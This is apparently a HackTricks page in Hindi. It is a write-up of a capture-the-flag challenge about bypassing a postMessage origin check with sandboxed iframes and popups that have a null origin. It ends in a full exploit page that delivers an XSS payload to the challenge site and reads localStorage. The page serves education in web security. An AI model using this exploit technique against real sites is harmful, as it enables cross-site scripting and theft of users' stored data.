Bypassing SOP with Iframes - 1

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

SOP-1 में Iframes

इस चुनौती को NDevTK और Terjanq द्वारा बनाई गई में आपको कोड में XSS का शोध करना होगा।

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}

मुख्य समस्या यह है कि मुख्य पृष्ठ DomPurify का उपयोग data.body भेजने के लिए करता है, इसलिए उस कोड को अपने खुद के html डेटा भेजने के लिए आपको e.origin !== window.origin को बायपास करना होगा।

चलो, उन्होंने जो समाधान सुझाया है, उसे देखते हैं।

SOP बायपास 1 (e.origin === null)

जब //example.org को sandboxed iframe में समाहित किया जाता है, तो पृष्ठ का मूल उत्पत्ति null होगा, अर्थात window.origin === null होगा। इसलिए, <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> के माध्यम से iframe समाहित करके हम null उत्पत्ति को बलपूर्वक कर सकते हैं

अगर पृष्ठ embeddable होता तो आप उस सुरक्षा को उस तरीके से बायपास कर सकते थे (कुकीज भी SameSite=None पर सेट की जानी चाहिए)।

SOP बायपास 2 (window.origin === null)

कम जाना जानकारी है कि जब sandbox मान allow-popups सेट किया जाता है तो खुला popup सभी sandboxed गुण को वारिस्त करेगा जब तक allow-popups-to-escape-sandbox सेट नहीं है। इसलिए, null उत्पत्ति से popup खोलना window.origin को पॉपअप के अंदर भी null बना देगा।

चुनौती समाधान

इसलिए, इस चुनौती के लिए, कोई भी iframe बना सकता है, पॉपअप खोल सकता है वह पृष्ठ जिसमें वंलरेबल XSS कोड हैंडलर (/iframe.php) के लिए, क्योंकि window.origin === e.origin क्योंकि दोनों null हैं, इससे XSS का शोषण करने वाला payload भेजना संभव है

वह payload पहचानकर्ता प्राप्त करेगा और एक XSS को वापस शीर्ष पृष्ठ (पॉपअप खोलने वाला पृष्ठ) पर भेजेगा, जिसे स्थान को विकल्प करेगा वंलरेबल /iframe.php पर। क्योंकि पहचानकर्ता जाना जाता है, इसलिए यह मायने नहीं रखता कि शर्त window.origin === e.origin पूरी नहीं होती है (ध्यान दें, मूल है popup जो iframe से उत्पत्ति null है) क्योंकि data.identifier === identifier। फिर, XSS फिर से ट्रिगर होगा, इस बार सही उत्पत्ति में।

<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

Last updated